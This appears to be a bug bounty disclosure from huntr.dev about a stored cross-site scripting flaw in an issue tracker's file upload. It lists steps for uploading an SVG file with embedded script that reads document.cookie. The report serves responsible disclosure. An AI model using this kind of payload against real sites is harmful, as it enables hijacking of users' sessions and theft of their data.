Lucene search

K
huntrTrunggg028FB9B06B-CADD-469E-862D-5CE026019597
HistorySep 01, 2023 - 11:09 a.m.

Cross-Site Scripting ( XSS) Via file upload

2023-09-0111:09:10
trunggg02
www.huntr.dev
5
xss
file upload
svg
demo site

7 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

14.2%

Description

I tested the demo site you provided. I see that there is a file upload vulnerability which can lead to XSS. Hope you check and find a solution as soon as possible.

Proof of Concept

link video Poc

https://drive.google.com/file/d/1LAcTulbfhGJfCmWdIel9e-Sk__uoQbDq/view?usp=sharing

Steps

1 .Login as account demo

2 .Access the module issues

3 .Then create an issue

4 .Upload an SVG file with the following content:

         <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
             <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
             <script type="text/javascript">
                     alert(document.cookie);
             </script>
          </svg>

5 .Save the issue and access the newly created issue, then access the just uploaded SVG file and the payload will be executed

7 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

14.2%

Related for 8FB9B06B-CADD-469E-862D-5CE026019597